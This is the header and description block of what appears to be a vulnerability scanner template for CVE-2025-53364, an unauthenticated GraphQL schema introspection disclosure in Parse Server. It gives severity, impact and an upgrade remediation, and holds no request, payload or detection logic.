CVE-2025-53364: Parse Server - GraphQL Schema Information Disclosure

id: CVE-2025-53364

info:
  name: Parse Server - GraphQL Schema Information Disclosure
  author: securitytaters
  severity: medium
  description: |
    The Parse Server GraphQL API previously allowed public access to the GraphQL schema without requiring a session token or the master key. While schema introspection reveals only metadata and not actual data, this metadata can still expand the potential attack surface.
  impact: |
    Unauthenticated attackers can access GraphQL schema metadata without authentication, potentially expanding the attack surface through exposure of API structure and query capabilities.
  remediation: |
    Upgrade Parse Server to the latest version that requires authentication for GraphQL schema introspection.
